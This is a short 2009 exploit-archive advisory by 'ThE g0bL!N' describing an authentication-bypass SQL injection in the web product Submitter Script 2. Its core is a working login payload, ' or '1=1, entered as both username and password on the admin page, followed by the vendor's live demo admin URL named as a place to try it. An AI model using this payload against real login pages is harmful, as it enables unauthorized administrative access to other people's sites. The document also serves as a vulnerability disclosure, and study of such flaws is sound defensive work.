Submitter Script (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Submitter Script (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-05-14
# Author : ThE g0bL!N
# Previous Title : MRCGIGUY ClickBank Directory 1.0.1 Insecure Cookie Handling Vuln
# Next Title : MRCGIGUY Hot Links SQL 3.2.0 Insecure Cookie Handling Vuln

---------------------------------------------------------------
------------------------------------------------------------
Submitter Script 2(Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------------
Founder : ThE g0bL!N
Vendor:http://submitterscript.com/
More info:http://submitterscript.com/products.php
---------------------------------------------------------------
---------------------------------------------------------------
Auth Bypass
------------
http://victim/[path]/admin/
username:' or '1=1
Password:' or '1=1
--------------------------------------
Dem0
----
http://demo.submitterscript.com/admin/
--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# www.Syue.com [2009-05-14]